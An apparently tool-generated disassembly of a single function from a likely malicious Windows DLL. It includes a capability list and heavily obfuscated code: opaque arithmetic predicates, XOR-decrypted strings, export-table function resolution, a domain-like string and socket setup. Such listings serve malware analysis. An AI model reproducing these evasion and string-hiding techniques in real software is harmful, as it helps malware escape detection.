Function at 0x10062c80
Capabilities:
Encode data using xor
Parse pe header
Receive data
Receive data on socket
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x140
mov esi, esp
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x12c], eax
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x130], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x134], eax
mov eax, dword [0x100d5788]
xor eax, ebp
mov dword [esi + 0x138], eax
mov eax, dword [0x100d4fb0]
imul eax, dword [0x100d4fb4]
sub eax, 0x9ebafee2
mov ecx, 0x53d34e71
xor edx, edx
div ecx
imul eax, eax, 0xa0b49fca
and eax, 0xbe688c83
mov ecx, 0x66234411
xor edx, edx
div ecx
add eax, 0xad2b483d
and eax, 0x570d75e1
sub eax, 0xee038fe3
and eax, 0xa700b351
or eax, 0xa74e930b
xor eax, 0x2163e89e
sub eax, 0x2b7e740
mov ecx, 0x34c7bcd8
xor edx, edx
div ecx
and eax, 0x79c89e87
xor eax, 0xfa3069d4
and eax, 0x7aba6
or eax, 0xbf192bd6
add eax, 0xb8dea1d0
imul eax, eax, 0xa1b44a83
sub eax, 0x92054511
xor eax, 0xe0558c31
mov ecx, 0x980172ee
xor edx, edx
div ecx
sub eax, 0x1b25f477
mov ecx, 0xf2b489cc
xor edx, edx
div ecx
and eax, 0x83d16c0e
imul eax, eax, 0xd89abca2
add eax, 0xd37d9fb5
add eax, 0xdb9a4b57
mov ecx, 0x342f49e7
xor edx, edx
div ecx
and eax, 0xa6ce8da5
xor eax, 0xf5eef79f
mov ecx, 0xab68de8
xor edx, edx
div ecx
imul eax, eax, 0xdd273eb9
and eax, 0xab9bc98c
xor eax, 0x69959154
xor eax, 0x460467cd
add eax, 0x3747cf53
or eax, 0x3ffffc75
imul eax, eax, 0xaceb3800
mov ecx, 0x12a39955
xor edx, edx
div ecx
add eax, 0xc212af0d
imul eax, eax, 0x2a65fd17
imul eax, eax, 0x2e12fcba
imul eax, eax, 0x8de0e504
xor eax, 0xf86cf703
or eax, 0xcd07607c
and eax, 0xca8840d6
xor eax, 0x53137ddb
xor eax, 0x64c4c202
xor eax, 0xc8eb5d51
or eax, 0x3a6ec2ed
xor eax, 0x58b5fb70
xor eax, 0xddb76509
sub eax, 0x7fd52e00
sub eax, 0x118a7811
xor eax, 0xabf2b66e
imul eax, eax, 0x4cbc9793
imul eax, eax, 0x55e0e592
add eax, 0x2e839e79
mov ecx, 0x6a206e06
xor edx, edx
div ecx
add eax, 0x58b4192c
mov ecx, 0x8444a66a
xor edx, edx
div ecx
or eax, 0x6c1f46f1
xor eax, 0xa6a74df4
imul eax, eax, 0x3252e4e7
or eax, 0xe08e9432
add eax, 0xd7d82df1
xor eax, 0xa6192bdd
imul eax, eax, 0x76e58fe8
mov ecx, 0x833f4e2e
xor edx, edx
div ecx
and eax, 0x5636f355
imul eax, eax, 0xca20b6a9
cmp eax, 0xed82a629
je 0x1006697a
mov eax, dword [0x100d4fb8]
sub eax, dword [0x100d4fbc]
add eax, 0xef5aa634
xor eax, 0xb3696e35
or eax, 0xe730e3a0
sub eax, 0x7dd59697
mov ecx, 0xc85f03f0
xor edx, edx
div ecx
mov ecx, 0xefc74f8
xor edx, edx
div ecx
and eax, 0xb3d6204
and eax, 0x14c44543
mov ecx, 0x13e9e6b
xor edx, edx
div ecx
and eax, 0xfdfe7ea9
xor eax, 0x3a86740f
and eax, 0xbf611b95
imul eax, eax, 0x4264ca4a
and eax, 0x6abea67a
or eax, 0x11ecf692
mov ecx, 0x9ece4f1f
xor edx, edx
div ecx
sub eax, 0x699e2e0c
add eax, 0xd8a528de
or eax, 0x89790b31
and eax, 0x40d29c93
and eax, 0x3ef9dae8
imul eax, eax, 0xed80bbf3
sub eax, 0x36eba7c9
add eax, 0x73ed3c7f
imul eax, eax, 0x7387e97b
imul eax, eax, 0x768dd847
xor eax, 0xb3a51df2
and eax, 0x4f0f3f0b
sub eax, 0xb24c1f96
or eax, 0xf5c04644
or eax, 0x16eb3a9b
xor eax, 0x8ccdca09
xor eax, 0x5c53790f
imul eax, eax, 0x161f5774
and eax, 0x2abd786f
mov ecx, 0x28e0d42a
xor edx, edx
div ecx
add eax, 0x3bb16bb0
xor eax, 0xc63204dd
and eax, 0x4ff909fc
mov ecx, 0x5e106876
xor edx, edx
div ecx
mov ecx, 0xa5805341
xor edx, edx
div ecx
add eax, 0xb403bfd0
and eax, 0x536d18f2
sub eax, 0x9dc80c0c
sub eax, 0xc74f0d36
or eax, 0xd6799e4e
imul eax, eax, 0xe090300
or eax, 0xc6e5e092
or eax, 0xe488697
and eax, 0xe851e323
xor eax, 0xed72d7a1
and eax, 0x4f5df09f
or eax, 0x9ca2947a
sub eax, 0x19024501
xor eax, 0x18ee64dd
mov ecx, 0x4967206f
xor edx, edx
div ecx
imul eax, eax, 0x158a7634
xor eax, 0x327baf0e
mov ecx, 0x8073dbc0
xor edx, edx
div ecx
add eax, 0x42d0e257
imul eax, eax, 0x992e6f69
mov ecx, 0xaf9e1209
xor edx, edx
div ecx
or eax, 0x6b0f11fd
and eax, 0x8db4492
or eax, 0xfd8dcc5b
or eax, 0x6a089551
sub eax, 0xcc894a1a
xor eax, 0x7976b0a2
mov ecx, 0x8b943720
xor edx, edx
div ecx
or eax, 0xe3ff2160
or eax, 0x37d81dab
xor eax, 0xfe7eec9a
cmp dword [0x100d6360], 0
sete cl
mov byte [esi + 0x12b], cl
cmp eax, 0x4146ef0e
je 0x10062e71
mov al, byte [esi + 0x12b]
test al, 1
jne 0x10063046
jmp 0x100636a6
mov al, byte [0x100d3172]
xor al, 0xe9
mov byte [0x100d317c], al
mov al, byte [0x100d3173]
xor al, 0xdb
mov byte [0x100d317d], al
mov al, byte [0x100d3174]
xor al, 0x27
mov byte [0x100d317e], al
mov al, byte [0x100d3175]
xor al, 0xac
mov byte [0x100d317f], al
mov al, byte [0x100d3176]
xor al, 0x84
mov byte [0x100d3180], al
mov al, byte [0x100d3177]
xor al, 0x52
mov byte [0x100d3181], al
mov al, byte [0x100d3178]
xor al, 0xef
mov byte [0x100d3182], al
mov al, byte [0x100d3179]
xor al, 0x89
mov byte [0x100d3183], al
mov al, byte [0x100d317a]
xor al, 0x76
mov byte [0x100d3184], al
mov al, byte [0x100d317b]
xor al, 0x3b
mov byte [0x100d3185], al
mov al, byte [0x100d31c2]
xor al, 0x18
mov byte [0x100d31c9], al
mov al, byte [0x100d31c3]
xor al, 0x35
mov byte [0x100d31ca], al
mov al, byte [0x100d31c4]
xor al, 0xdd
mov byte [0x100d31cb], al
mov al, byte [0x100d31c5]
xor al, 0xdf
mov byte [0x100d31cc], al
mov al, byte [0x100d31c6]
xor al, 0x11
mov byte [str.P_ng7], al
mov al, byte [0x100d31c7]
xor al, 2
mov byte [0x100d31ce], al
mov al, byte [0x100d31c8]
xor al, 0x47
mov byte [0x100d31cf], al
mov al, byte [0x100d31ae]
xor al, 0x75
mov byte [0x100d31b3], al
mov al, byte [0x100d31af]
xor al, 0x59
mov byte [0x100d31b4], al
mov al, byte [0x100d31b0]
xor al, 0xd2
mov byte [str._JObQ], al
mov al, byte [0x100d31b1]
xor al, 0x19
mov byte [0x100d31b6], al
mov al, byte [0x100d31b2]
xor al, 0xca
mov byte [0x100d31b7], al
mov al, byte [0x100d31d0]
xor al, 0x54
mov byte [0x100d31d8], al
mov al, byte [0x100d31d1]
xor al, 0x8a
mov byte [0x100d31d9], al
mov al, byte [0x100d31d2]
xor al, 0x33
mov byte [0x100d31da], al
mov al, byte [0x100d31d3]
xor al, 0xce
mov byte [0x100d31db], al
mov al, byte [0x100d31d4]
xor al, 0x46
mov byte [0x100d31dc], al
mov al, byte [0x100d31d5]
xor al, 0x5d
mov byte [0x100d31dd], al
mov al, byte [0x100d31d6]
xor al, 0x4c
mov byte [0x100d31de], al
mov al, byte [0x100d31d7]
xor al, 0xc4
mov byte [0x100d31df], al
mov al, byte [0x100d31e0]
xor al, 0xaa
mov byte [0x100d31e6], al
mov al, byte [0x100d31e1]
xor al, 0xc2
mov byte [0x100d31e7], al
mov al, byte [0x100d31e2]
xor al, 0x8c
mov byte [0x100d31e8], al
mov al, byte [str.eZhqmM]
xor al, 0x16
mov byte [0x100d31e9], al
mov al, byte [0x100d31e4]
xor al, 0x5a
mov byte [0x100d31ea], al
mov al, byte [0x100d310e]
xor al, 0xe0
mov byte [0x100d3119], al
mov al, byte [0x100d310f]
xor al, 0xfd
mov byte [0x100d311a], al
mov al, byte [0x100d3110]
xor al, 0x89
mov byte [0x100d311b], al
mov al, byte [0x100d3111]
xor al, 0x20
mov byte [0x100d311c], al
mov al, byte [0x100d3112]
xor al, 0x96
mov byte [str._Frc], al
mov al, byte [0x100d3113]
xor al, 0
mov byte [0x100d311e], al
mov al, byte [0x100d3114]
xor al, 0xd4
mov byte [0x100d3120], al
mov al, byte [0x100d3115]
xor al, 0xfd
mov byte [0x100d3121], al
mov al, byte [0x100d3116]
xor al, 0xf
mov byte [0x100d3122], al
mov al, byte [0x100d3117]
xor al, 0xc9
mov byte [0x100d3123], al
mov al, byte [0x100d3118]
xor al, 0xb1
mov byte [0x100d3124], al
mov al, byte [0x100d3199]
xor al, 0xe1
mov byte [0x100d31a3], al
mov al, byte [0x100d319a]
xor al, 0x25
mov byte [0x100d31a4], al
mov al, byte [0x100d319b]
xor al, 0xf
mov byte [0x100d31a5], al
mov al, byte [0x100d319c]
xor al, 0xfd
mov byte [0x100d31a6], al
mov al, byte [0x100d319d]
xor al, 0x45
mov byte [0x100d31a7], al
mov al, byte [0x100d319e]
xor al, 0x88
mov byte [0x100d31a8], al
mov al, byte [0x100d319f]
xor al, 0x13
mov byte [0x100d31a9], al
mov al, byte [0x100d31a0]
xor al, 0x98
mov byte [str.pu_a_], al
mov al, byte [0x100d31a1]
xor al, 0xb7
mov byte [0x100d31ab], al
mov al, byte [0x100d31a2]
xor al, 0x40
mov byte [0x100d31ad], al
mov al, byte [0x100d3125]
xor al, 0x9b
mov byte [0x100d3131], al
mov al, byte [0x100d3126]
xor al, 0x8c
mov byte [0x100d3132], al
mov al, byte [0x100d3127]
xor al, 0xc8
mov byte [0x100d3134], al
mov al, byte [0x100d3128]
xor al, 0xe7
mov byte [str.u_fK1], al
mov al, byte [0x100d3129]
xor al, 0x8b
mov byte [0x100d3136], al
mov al, byte [str.:_4_7]
xor al, 0xa4
mov byte [0x100d3137], al
mov al, byte [0x100d312b]
xor al, 0xe0
mov byte [0x100d3138], al
mov al, byte [0x100d312c]
xor al, 0x5b
mov byte [0x100d3139], al
mov al, byte [0x100d312d]
xor al, 0x50
mov byte [0x100d313a], al
mov al, byte [0x100d312e]
xor al, 0x4d
mov byte [0x100d313b], al
mov al, byte [0x100d312f]
xor al, 0x65
mov byte [0x100d313c], al
mov al, byte [0x100d3130]
xor al, 0x37
mov byte [0x100d313d], al
mov al, byte [str.z_r]
xor al, 0xbe
mov byte [0x100d3147], al
mov al, byte [0x100d313f]
xor al, 0xe8
mov byte [0x100d3148], al
mov al, byte [0x100d3140]
xor al, 0x1b
mov byte [0x100d3149], al
mov al, byte [0x100d3141]
xor al, 0xe
mov byte [0x100d314a], al
mov al, byte [0x100d3142]
xor al, 0x52
mov byte [str.d_rNo0q], al
mov al, byte [0x100d3143]
xor al, 0xc5
mov byte [0x100d314c], al
mov al, byte [0x100d3144]
xor al, 2
mov byte [0x100d314d], al
mov al, byte [0x100d3145]
xor al, 0x35
mov byte [0x100d314f], al
mov al, byte [0x100d3146]
xor al, 0xd0
mov byte [0x100d3150], al
mov al, byte [0x100d3186]
xor al, 0xf5
mov byte [0x100d318e], al
mov al, byte [0x100d3187]
xor al, 0xc
mov byte [0x100d318f], al
mov al, byte [0x100d3188]
xor al, 0x3b
mov byte [0x100d3190], al
mov al, byte [0x100d3189]
xor al, 0x16
mov byte [0x100d3192], al
mov al, byte [0x100d318a]
xor al, 2
mov byte [0x100d3194], al
mov al, byte [0x100d318b]
xor al, 0xbe
mov byte [0x100d3195], al
mov al, byte [0x100d318c]
xor al, 0x4e
mov byte [0x100d3196], al
mov al, byte [0x100d318d]
xor al, 0xa5
mov byte [0x100d3197], al
mov al, byte [0x100d3106]
xor al, 0x7a
mov byte [0x100d310a], al
mov al, byte [0x100d3107]
xor al, 0xae
mov byte [0x100d310b], al
mov al, byte [0x100d3108]
xor al, 0x6d
mov byte [0x100d310c], al
mov al, byte [0x100d3109]
xor al, 0x90
mov byte [0x100d310d], al
mov al, byte [0x100d3151]
xor al, 0x43
mov byte [0x100d3162], al
mov al, byte [0x100d3152]
xor al, 0xdf
mov byte [0x100d3163], al
mov al, byte [0x100d3153]
xor al, 0xeb
mov byte [0x100d3164], al
mov al, byte [0x100d3154]
xor al, 0x55
mov byte [0x100d3165], al
mov al, byte [0x100d3155]
xor al, 0xb1
mov byte [0x100d3166], al
mov al, byte [0x100d3156]
xor al, 0x13
mov byte [0x100d3167], al
mov al, byte [0x100d3157]
xor al, 0x25
mov byte [0x100d3168], al
mov al, byte [str.Pxh]
xor al, 0x60
mov byte [str.__7rm], al
mov al, byte [0x100d3159]
xor al, 0x4c
mov byte [0x100d316a], al
mov al, byte [0x100d315a]
xor al, 0xcd
mov byte [0x100d316b], al
mov al, byte [0x100d315b]
xor al, 0x8d
mov byte [0x100d316d], al
mov al, byte [0x100d315c]
xor al, 0xb5
mov byte [0x100d316e], al
mov al, byte [0x100d315d]
xor al, 0x5a
mov byte [0x100d316f], al
mov al, byte [0x100d315e]
xor al, 0xae
mov byte [0x100d3170], al
mov al, byte [0x100d315f]
xor al, 0xae
mov byte [0x100d3171], al
mov al, byte [0x100d31b8]
xor al, 0xd8
mov byte [0x100d31bd], al
mov al, byte [0x100d31b9]
xor al, 0xc4
mov byte [0x100d31be], al
mov al, byte [0x100d31ba]
xor al, 0x21
mov byte [0x100d31bf], al
mov al, byte [0x100d31bb]
xor al, 6
mov byte [0x100d31c0], al
mov al, byte [0x100d31bc]
xor al, 0x51
mov byte [0x100d31c1], al
mov al, byte [0x100d31fb]
xor al, 0x82
mov byte [0x100d3205], al
mov al, byte [0x100d31fc]
xor al, 0x7a
mov byte [0x100d3206], al
mov al, byte [0x100d31fd]
xor al, 0x21
mov byte [0x100d3207], al
mov al, byte [0x100d31fe]
xor al, 0x17
mov byte [0x100d3209], al
mov al, byte [0x100d31ff]
xor al, 0xe8
mov byte [0x100d320b], al
mov al, byte [str.h_r_8c]
xor al, 3
mov byte [0x100d320c], al
mov al, byte [0x100d3201]
xor al, 0x68
mov byte [0x100d320d], al
mov al, byte [0x100d3202]
xor al, 0x48
mov byte [0x100d320e], al
mov al, byte [0x100d3203]
xor al, 0x38
mov byte [0x100d320f], al
mov al, byte [0x100d3210]
xor al, 0x5c
mov byte [0x100d321a], al
mov al, byte [0x100d3211]
xor al, 0x48
mov byte [0x100d321c], al
mov al, byte [0x100d3212]
xor al, 0xaf
mov byte [0x100d321d], al
mov al, byte [0x100d3213]
xor al, 0xa2
mov byte [0x100d321e], al
mov al, byte [0x100d3214]
xor al, 0x9f
mov byte [0x100d321f], al
mov al, byte [0x100d3215]
xor al, 0x8c
mov byte [0x100d3220], al
mov al, byte [0x100d3216]
xor al, 0xba
mov byte [0x100d3222], al
mov al, byte [0x100d3217]
xor al, 0x79
mov byte [0x100d3223], al
mov al, byte [0x100d3218]
xor al, 0x1c
mov byte [0x100d3224], al
mov al, byte [0x100d3219]
xor al, 0xda
mov byte [0x100d3225], al
mov al, byte [0x100d31eb]
xor al, 0x2e
mov byte [0x100d31f3], al
mov al, byte [0x100d31ec]
xor al, 0x3d
mov byte [0x100d31f4], al
mov al, byte [0x100d31ed]
xor al, 0x4b
mov byte [0x100d31f5], al
mov al, byte [0x100d31ee]
xor al, 0xe8
mov byte [0x100d31f6], al
mov al, byte [0x100d31ef]
xor al, 0
mov byte [0x100d31f7], al
mov al, byte [0x100d31f0]
xor al, 0x2f
mov byte [0x100d31f8], al
mov al, byte [0x100d31f1]
xor al, 0x29
mov byte [0x100d31f9], al
mov al, byte [0x100d31f2]
xor al, 0xbd
mov byte [0x100d31fa], al
mov dword [0x100d6360], 1
push eax
mov eax, esp
mov dword [esi + 0x2c], eax
push eax
mov ecx, esp
mov eax, ecx
mov dword [esi + 0x30], eax
push eax
mov eax, esp
mov dword [esi + 0xfc], eax
mov dword [esi + 0x34], eax
push eax
mov ebx, esp
mov eax, ebx
mov dword [esi + 0x38], eax
sub esp, 0x10
mov edi, esp
mov eax, edi
mov dword [esi + 0x108], eax
sub esp, 0xc
mov edx, esp
mov eax, edx
mov dword [esi + 0x114], eax
sub esp, 0x34
mov eax, esp
mov dword [esi + 0x100], eax
mov dword [esi + 0x3c], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x104], eax
mov dword [esi + 0x40], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x10c], eax
mov esp, eax
push eax
mov eax, esp
mov dword [esi + 0x118], eax
push eax
mov eax, esp
mov dword [esi + 0x11c], eax
push eax
mov eax, esp
mov dword [esi + 0x120], eax
push eax
mov eax, esp
mov dword [esi + 0x124], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x44], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x50], eax
push eax
mov eax, esp
mov dword [esi + 0x54], eax
push eax
mov eax, esp
mov dword [esi + 0x58], eax
push eax
mov eax, esp
mov dword [esi + 0x5c], eax
push eax
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x64], eax
push eax
mov eax, esp
mov dword [esi + 0x68], eax
push eax
mov eax, esp
mov dword [esi + 0x6c], eax
sub esp, 0x190
mov eax, esp
mov dword [esi + 0x70], eax
push eax
mov eax, esp
mov dword [esi + 0x74], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x78], eax
sub esp, 0x20
mov eax, esp
mov dword [esi + 0x7c], eax
push eax
mov eax, esp
mov dword [esi + 0x80], eax
push eax
mov eax, esp
mov dword [esi + 0x84], eax
push eax
mov eax, esp
mov dword [esi + 0x88], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x8c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x90], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x94], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x98], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x9c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xa0], eax
push eax
mov eax, esp
mov dword [esi + 0xa4], eax
push eax
mov eax, esp
mov dword [esi + 0xa8], eax
push eax
mov eax, esp
mov dword [esi + 0xac], eax
push eax
mov eax, esp
mov dword [esi + 0xb0], eax
push eax
mov eax, esp
mov dword [esi + 0xb4], eax
push eax
mov eax, esp
mov dword [esi + 0xb8], eax
push eax
mov eax, esp
mov dword [esi + 0xbc], eax
push eax
mov eax, esp
mov dword [esi + 0xc0], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xc4], eax
push eax
mov eax, esp
mov dword [esi + 0xc8], eax
push eax
mov eax, esp
mov dword [esi + 0xcc], eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0xd0], eax
push eax
mov eax, esp
mov dword [esi + 0xd4], eax
push eax
sub esp, 0xffc
mov eax, esp
mov dword [esi + 0xd8], eax
push eax
mov eax, esp
mov dword [esi + 0xdc], eax
push eax
mov eax, esp
mov dword [esi + 0xe0], eax
push eax
mov eax, esp
mov dword [esi + 0xe4], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0xe8], eax
push eax
mov eax, esp
mov dword [esi + 0xec], eax
push eax
mov eax, esp
mov dword [esi + 0xf0], eax
push eax
mov eax, esp
mov dword [esi + 0xf4], eax
push eax
mov eax, esp
mov dword [esi + 0xf8], eax
mov eax, dword [esi + 0x12c]
mov dword [ecx], eax
mov eax, dword [esi + 0xfc]
mov ecx, dword [esi + 0x130]
mov dword [eax], ecx
mov ecx, dword [esi + 0x100]
mov eax, dword [esi + 0x134]
mov dword [ebx], eax
mov eax, dword [esi + 0x104]
movsd xmm0, qword [0x100d3136]
movsd qword [edi + 5], xmm0
movsd xmm0, qword [0x100d3131]
movsd qword [edi], xmm0
mov edi, dword [0x100d3195]
mov dword [edx + 7], edi
movsd xmm0, qword [0x100d318e]
movsd qword [edx], xmm0
movups xmm0, xmmword [0x100c80e8]
movups xmmword [ecx + 0x20], xmm0
movups xmm0, xmmword [0x100c80d8]
movups xmmword [ecx + 0x10], xmm0
movups xmm0, xmmword [str.Xk6x41683.org]
movups xmmword [ecx], xmm0
mov word [ecx + 0x30], 0
mov cx, word [0x100d3170]
mov word [eax + 0x10], cx
movaps xmm0, xmmword [0x100d3160]
movups xmmword [eax], xmm0
call fcn.1005b410
mov ecx, dword [esi + 0x108]
mov edi, eax
mov eax, dword [esi + 0x10c]
mov dword [esi + 0x110], edi
mov edi, edx
mov edx, dword [esi + 0x110]
mov dword [eax + 4], edi
mov dword [eax], edx
mov edx, dword [eax]
mov edi, dword [eax + 4]
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10051140
mov ecx, dword [esi + 0x114]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x118]
mov dword [eax], edx
mov eax, dword [eax]
sub esp, 4
mov dword [esp], ecx
call eax
mov edx, dword [esi + 0x11c]
mov ecx, dword [esi + 0x120]
mov edi, eax
mov eax, dword [esi + 0x124]
mov dword [edx], edi
mov dword [ecx], 0
mov dword [eax], ecx
mov eax, dword [eax]
cmp dword [eax], 0
jne 0x10063fde
mov edi, dword [esi + 0x4c]
mov ebx, dword [esi + 0x48]
sub esp, 8
mov eax, esp
mov dword [eax + 4], 0x24
mov dword [eax], 0x20
call fcn.1004c2b0
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x50]
add esp, 8
mov eax, dword [str.pu_a_]
mov dword [ecx + 7], eax
movsd xmm0, qword [0x100d31a3]
movsd qword [ecx], xmm0
mov eax, dword [0x100d3121]
mov dword [ebx + 8], eax
mov eax, dword [esi + 0x11c]
movsd xmm0, qword [0x100d3119]
movsd qword [ebx], xmm0
mov bx, word [0x100d314f]
mov word [edi + 8], bx
movsd xmm0, qword [0x100d3147]
movsd qword [edi], xmm0
mov di, word [0x100d3184]
mov word [edx + 8], di
movsd xmm0, qword [0x100d317c]
movsd qword [edx], xmm0
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10051140
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x48]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x11c]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10051140
mov edx, dword [esi + 0x58]
mov ecx, dword [esi + 0x4c]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x11c]
mov dword [edx], edi
mov edx, dword [eax]
sub esp, 0xc
mov eax, esp
mov dword [eax + 4], edx
mov dword [eax], ecx
mov dword [eax + 8], 0
call fcn.10051140
mov edx, dword [esi + 0x5c]
mov ecx, dword [esi + 0x50]
add esp, 0xc
mov edi, eax
mov eax, dword [esi + 0x11c]
mov dword [edx], edi
mov edx, dword [eax]
xor edi, edi
sub esp, 0xc
mov eax, esp
mov dword [eax + 8], edi
mov dword [eax + 4], edx
mov dword [eax], ecx
call fcn.10051140
mov ecx, dword [esi + 0x60]
add esp, 0xc
mov edx, eax
mov eax, dword [esi + 0x64]
mov dword [ecx], edx
mov ecx, dword [0x100d31f3]
mov dword [eax], ecx
mov ecx, dword [0x100d31f7]
mov dword [eax + 4], ecx
sub esp, 4
mov dword [esp], eax
call fcn.1005b430
add esp, 4
cmp eax, 0
je 0x10063b82
mov ecx, dword [esi + 0x3c]
mov edi, dword [esi + 0x68]
mov dword [edi], 5
sub esp, 4
mov eax, esp
mov dword [eax], ecx
call fcn.1009d150
mov edx, dword [esi + 0x3c]
add esp, 4
mov ecx, eax
mov eax, dword [esi + 0x6c]
add ecx, 1
sub ecx, dword [edi]
mov dword [eax], ecx
mov eax, dword [eax]
mov ecx, edx
add ecx, dword [edi]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.1009d1e0
add esp, 0xc
mov eax, dword [0x100d4fc0]
xor eax, dword [0x100d4fc4]
imul eax, eax, 0x8a92e982
add eax, 0x4e5c2704
mov ecx, 0x303a547
xor edx, edx
div ecx
add eax, 0x85db58da
add eax, 0xa84606f6
imul eax, eax, 0x23c0d026
and eax, 0xad632281
or eax, 0x39fb5eef
imul eax, eax, 0xb63afe27
xor eax, 0xb5fc966e
add eax, 0xb438c44e
imul eax, eax, 0xe863b70f
imul eax, eax, 0x958843a2
mov ecx, 0xd031dee3
xor edx, edx
div ecx
mov ecx, 0x7116a93a
xor edx, edx
div ecx
and eax, 0x8286fcc4
add eax, 0x720b6751
sub eax, 0x1bed6dc1
add eax, 0xdbec899c
xor eax, 0x7758ebe6
add eax, 0x7ab9475a
and eax, 0x42100414
xor eax, 0x5e4069e2
or eax, 0xfc0403e
imul eax, eax, 0x4328faf1
xor eax, 0xf916f58d
xor eax, 0x33a6bd3b
imul eax, eax, 0x1b311a89
sub eax, 0x9cac0b44
xor eax, 0xf9abdcac
sub eax, 0xf00b1ea
add eax, 0x762793bf
imul eax, eax, 0x343e62d5
add eax, 0xcf5c61e7
sub eax, 0x5890cd5d
imul eax, eax, 0x2ad8b461
sub eax, 0x86739559
and eax, 0xaaeea6e5
add eax, 0xee36c72f
xor eax, 0xc3f96896
add eax, 0xb8e2060c
and eax, 0x1a548ee7
mov ecx, 0x6eccc6a6
xor edx, edx
div ecx
or eax, 0x49f30232
sub eax, 0xe43d0d07
add eax, 0xa1ddf57f
xor eax, 0x233a8fdd
add eax, 0xe6249dad
sub eax, 0x548cb556
sub eax, 0xcc9a7b2d
and eax, 0x1c7638f7
imul eax, eax, 0x16403452
mov ecx, 0x6b47b964
xor edx, edx
div ecx
imul eax, eax, 0x44503429
add eax, 0xd6baf8b0
and eax, 0x5c7f67d1
and eax, 0xbacee6bb
and eax, 0xb0647293
add eax, 0xdfc7c85f
or eax, 0x10cd224d
and eax, 0x98e92d24
and eax, 0x46f91e14
or eax, 0x57f9026b
mov ecx, 0xc9c0bc2e
xor edx, edx
div ecx
add eax, 0x2edf4eea
or eax, 0x8a550f5
add eax, 0x25528e73
xor eax, 0xa80f53e7
or eax, 0xbe53a96b
mov ecx, 0xe0bb8a42
xor edx, edx
div ecx
xor eax, 0x38018a27
add eax, 0xf8adf614
cmp eax, 0x5a0f4a51
ja 0x10066984
mov ecx, dword [esi + 0x70]
mov eax, dword [0x100d4fc8]
add eax, dword [str.F_G4]
add eax, 0xa39416ec
sub eax, 0xe2117827
mov edi, 0xa1575d7e
xor edx, edx
div edi
xor eax, 0xe4df5911
sub eax, 0xfb0e00ec
and eax, 0x57829776
or eax, 0xbc1a662f
imul eax, eax, 0x352e17b
mov edi, 0x657a8f5e
xor edx, edx
div edi
xor eax, 0xb5620829
imul eax, eax, 0x95d5b7c4
xor eax, 0xb0bd8291
sub eax, 0xbfcc98f6
sub eax, 0xe915d889
mov edi, 0x11d3008
xor edx, edx
div edi
or eax, 0xaeb0032b
mov edi, 0x4891d078
xor edx, edx
div edi
imul eax, eax, 0xdff09732
imul eax, eax, 0xf39c9ac6
sub eax, 0x92721d09
or eax, 0x48ddc1c5
imul eax, eax, 0x10881c52
or eax, 0xdf621b2c
sub eax, 0x77de731a
sub eax, 0xb3757f23
or eax, 0x4cb9bdbf
and eax, 0xb6486de6
sub eax, 0xfb447865
imul eax, eax, 0xeaa031f2
sub eax, 0x8697aa5b
imul eax, eax, 0x3b6462aa
imul eax, eax, 0x60d2491d
sub eax, 0xe4b92d52
or eax, 0x525c0e08
sub eax, 0xd8290269
sub eax, 0xde6f145a
add eax, 0x44736ca6
imul eax, eax, 0x667811a1
sub eax, 0xcae26036
xor eax, 0xb9e6fd03
or eax, 0x17e4a73b
imul eax, eax, 0x35a44266
xor eax, 0x1b806f9
mov edi, 0x2763d6ae
xor edx, edx
div edi
xor eax, 0x8ac42a60
or eax, 0xea8e234
and eax, 0xde685a8
xor eax, 0xa0748126
mov edi, 0x89ac48d8
xor edx, edx
div edi
imul eax, eax, 0x643319ac
or eax, 0xc8880452
xor eax, 0x2ef93059
imul eax, eax, 0x1ecb972d
sub eax, 0xfe8cf171
add eax, 0x6fde8ea3
add eax, 0x37b31b32
mov edi, 0x7732aa08
xor edx, edx
div edi
and eax, 0x5f5e786
or eax, 0x2edf8c53
xor eax, 0xec6fb2e9
mov edi, 0xd6e9c80b
xor edx, edx
div edi
or eax, 0xa30599fe
and eax, 0x509e0aea
and eax, 0x64c0f9be
imul eax, eax, 0x182e0a28
xor eax, 0xa3c7e260
and eax, 0x5b7ea09
add eax, 0xced1a73b
mov edi, 0x14257608
xor edx, edx
div edi
mov edx, eax
mov eax, dword [esi + 0x54]
xor edx, 0x5a394bc2
xor edx, 0x441592bf
and edx, 0xb0e07cbe
mov dword [esi + 0x28], edx
sub esp, 8
mov dword [esp], 0x202
mov dword [esp + 4], ecx
call dword [eax]
mov ecx, dword [esi + 0x74]
mov eax, dword [esi + 0x7c]
mov dword [ecx], 1
xor ecx, ecx
sub esp, 0xc
